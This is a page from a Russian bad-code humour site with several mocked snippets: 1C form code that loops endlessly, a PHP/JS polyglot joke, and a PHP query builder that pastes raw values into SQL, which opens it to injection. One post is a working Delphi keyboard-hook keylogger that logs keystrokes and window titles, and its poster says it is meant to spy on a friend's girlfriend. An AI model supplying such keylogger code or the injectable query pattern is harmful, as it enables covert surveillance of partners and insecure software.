- 1
Кто работал в "Luxoft"?
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
−11
Кто работал в "Luxoft"?
−10
product_id '14'
product_id '17'
product_id '18'
product_id '19'
product_id '20'
product_id '21'
product_id '22'
product_id '25'
product_id '28'
product_id '29'
product_id '30'
product_id '31'
product_id '32'
product_id '33'
product_id '34'
product_id '35'
product_id '36'
product_id '37'
product_id '38'
product_id '39'
product_id '40'
product_id '41'
product_id '42'
product_id '152'
product_id '166'
product_id '181'
product_id '183'
product_id '184'
product_id '187'
product_id '188'
product_id '189'
product_id '190'
product_id '191'
product_id '192'
product_id '193'
product_id '194'
product_id '195'
product_id '196'
product_id '197'
product_id '198'
product_id '200'
product_id '202'
product_id '203'
product_id '803'
product_id '805'
product_id '806'
product_id '807'
product_id '808'
product_id '809'
product_id '810'
−9
Процедура тпТоварыПриПолученииДанных(Элемент, ОформленияСтрок)
Модифицированность_ = Модифицированность;
Для Каждого Стр из ОформленияСтрок Цикл
Если НЕ Стр.ДанныеСтроки.Вес = 0 И НЕ Стр.ДанныеСтроки.ПроцентУсушки = 0 Тогда
Стр.ДанныеСтроки.Усушка = (Стр.ДанныеСтроки.Вес * Стр.ДанныеСтроки.ПроцентУсушки / 100) * Стр.ДанныеСтроки.Количество;
КонецЕсли;
КонецЦикла;
Модифицированность = Модифицированность_;
КонецПроцедуры
Данные табличной части модифицируются в процедуре ПриПолученииДанных (видимо, лучшего места для этого не нашлось), что закономерно приводит к отложенному на мгновение вызову ПриПолученииДанных ещё раз, и ещё, и так далее. В результате процессор загружается почти на 100%, значок * в заголовке формы дико мерцает.
Написано программистом с 6-значной ЗП.
+2
unit KHook;
interface
uses Windows, SysUtils, Messages;
const
WH_KEYBOARD_LL = 13;
LLKHF_UP = $0080;
type
TKbdHookEvent=procedure (S:WideString);
type
PKbdDllHookStruct = ^TKbdDllHookStruct;
TKbdDllHookStruct = record
vkCode: DWORD;
scanCode: DWORD;
flags: DWORD;
time: DWORD;
dwExtraInfo: PDWORD;
end;
KBDLLHOOKSTRUCT = TKbdDllHookStruct;
implementation
var
KbdProc:TKbdHookEvent=nil;
Hook:HHOOk;
WinTitle:WideString='';
function lpfn(nCode,wParam,lParam:Integer):Integer; stdcall;
var
KeyName:WideString;
CurrWinTitle:WideString;
KeyState : TKeyboardState;
hklLayout:HKL;
FW:HWND;
begin
try
if (nCode = HC_ACTION) and ((wParam = WM_KEYDOWN) or (wParam=WM_SYSKEYDOWN)) then
begin
FW:=GetForegroundWindow;
hklLayout:=GetKeyboardLayout(GetWindowThreadProcessId(FW, nil));
GetKeyboardState(KeyState);
SetLength(CurrWinTitle, 1000);
SetLength(CurrWinTitle, GetWindowTextW(FW, @CurrWinTitle[1], 1000));
with PKbdDllHookStruct(LParam)^ do
case vkCode of
VK_BACK: KeyName := '[BackSpace]';
VK_TAB: KeyName := '[Tab]';
VK_CAPITAL: KeyName := '[CapsLock]';
VK_RETURN: KeyName := '[Enter]';
VK_ESCAPE: KeyName := '[Esc]';
VK_CANCEL: KeyName := '[Cancel]';
VK_F1: KeyName := '[F1]';
{...}
VK_HELP: KeyName := '[Help]';
else
SetLength(KeyName,1);
KeyState[VK_SHIFT]:=GetKeyState(VK_SHIFT);
KeyState[VK_CAPITAL]:=GetKeyState(VK_CAPITAL);
if ToUnicodeEx(vkCode, MapVirtualKeyW(vkCode, 0,), @KeyState, @KeyName[1], SizeOf(WideChar), 0, hklLayout) <> 1 then
KeyName:='?!ERROR'; // не корысти ради, токмо для отладки.
end;
if KeyName='' then KeyName:=IntToStr(PKbdDllHookStruct(LParam)^.vkCode);
if WinTitle='' then
begin
WinTitle:=CurrWinTitle;
KeyName:=CurrWinTitle+' {'#13#10+KeyName;
end
else if WinTitle <> CurrWinTitle then
begin
WinTitle:=CurrWinTitle;
KeyName:='}'#13#10+CurrWinTitle+' {'#13#10+KeyName;
end;
KbdProc(KeyName);
end;
finally
Result := CallNextHookEx(Hook,nCode,wParam,lParam);
end;
end;
function SetHook(lpCallBack:TKbdHookEvent):Boolean;
begin
if Assigned(lpCallBack) then
KbdProc:=lpCallBack;
Hook:=SetWindowsHookExW(WH_KEYBOARD_LL, lpfn, HInstance,0);
Result:=(Hook <> INVALID_HANDLE_VALUE);
end;
function RemoveHook:Boolean;
begin
Result:=UnHookWindowsHookEx(Hook);
end;
exports SetHook,
RemoveHook;
end.
Клавиатурный сексот на Delphi.
Никогда такой хуйнёй не страдал, пишу для друга, который подозревает свою деву в изменах.
0
//<?php
$is_php = !'0';
if ($is_php) {
echo(PHP_EOL);
perevedi_na_php();
} else {
console.log('//');
perevedi_na_js();
}
function perevedi_na_php() {
echo('Hello, "PHP"!' . PHP_EOL);
}
function perevedi_na_js() {
console.log('Hello, "PHP"!');
}
−2
PHP + Java = JPHP
https://habr.com/post/425223/
Поэтому я за "JPHP".
−3
http://compuhumour.narod.ru/anecdot/programmer.html
У программиста спрашивают:
- Hе помнишь, сколько будет два в четвеpтой?
- (без запинки) Шестнадцать.
- А шестнадцать в четвеpтой?
- (без запинки) Шестьдесят пять тысяч пятьсот тpидцать шесть.
- Вот голова, ну ты даешь!!! Hу, а тpи в четвеpтой?
- (после паузы) Hе помню точно. Дpобное число получается.
То ли дело Сетунь
−105
Заждались, дырочки?
0
| И (ПериодическийРегистрСведенийПриход.ВидДвижения = ЗНАЧЕНИЕ(Перечисление.ОРГ_ВидыДвижений.Приход))
| И (ПериодическийРегистрСведений.ВидДвижения = ЗНАЧЕНИЕ(Перечисление.ОРГ_ВидыДвижений.Расход))
Регистр накопления? Не, это не для нас.
−3
require_once $_SERVER['DOCUMENT_ROOT'] . '/models/core/class.Application.php';
require_once 'class.DatabaseConnect.php';
require_once 'class.DatabaseResult.php';
class DatabaseQuery extends Application {
private $m_db_connect = NULL; //Соединение с БД
private $m_query_statment = NULL; //Результат последнего запроса
private $m_construct_query = NULL; //Строка формирования запроса
public function __construct(DatabaseConnect $db_connect) {
$this->m_db_connect = $db_connect;
}
public function __destruct() {
$this->m_db_connect = null;
}
//Вставляет данные в таблицу
public function insert($data) {
if (count($data) === 0)
return false;
$query_list = [];
//Обход таблиц
foreach ($data as $t_name => $table) {
//Ассациативный массив даннвх, где ключ массива это имя колонки в БД
$column_list = [];
//Копируем данные в отдельный массив
foreach ($table as $c_name => $column)
$column_list[$c_name] = $column;
//Строка запроса
$query = "INSERT INTO {$t_name} (" . implode(', ', array_keys($column_list)) . ') VALUES ';
//Выпоняем обход
for ($i = 0; $i < count($column_list[array_keys($column_list)[0]]); $i++) {
$query_values = '(';
//
foreach ($column_list as $c_name => $column)
$query_values .= '\'' . $column_list[$c_name][$i] . '\',';
$query_values = chop($query_values, ',') . '),';
$query .= $query_values;
}
$query_list[] = chop($query, ',');
}
try {
for ($i = 0; $i < count($query_list); $i++) {
$result = $this->query($query_list[$i]);
}
} catch (PDOException $e) {
Application::handlerErrorDB($e);
return false;
}
return true;
}
public function setSelect($data = ['*']) {
$query = 'SELECT ';
foreach ($data as $v)
$query .= $v . ',';
$this->m_construct_query = chop($query, ',') . ' ';
return $this;
}
public function setDelete($tables = []) {
$query = 'DELETE ';
foreach ($tables as $v)
$query .= $v . ',';
$this->m_construct_query = chop($query, ',') . ' ';
return $this;
}
public function setUpdate($tables) {
$query = 'UPDATE ';
foreach ($tables as $v)
$query .= $v . ',';
$this->m_construct_query = chop($query, ',') . ' ';
return $this;
}
public function setSet($data) {
$query = 'SET ';
foreach ($data as $k => $v)
$query .= "$k = '$v',";
$this->m_construct_query .= chop($query, ',') . ' ';
return $this;
}
public function setFrom($tables) {
$query = 'FROM ';
foreach ($tables as $v)
$query .= $v . ',';
$this->m_construct_query .= chop($query, ',') . ' ';
return $this;
}
...
Вот что бывает когда у тебя юношеский максимализм - ты пытаешь написать свой фреймворк, и при этом это твой первый проект на PHP.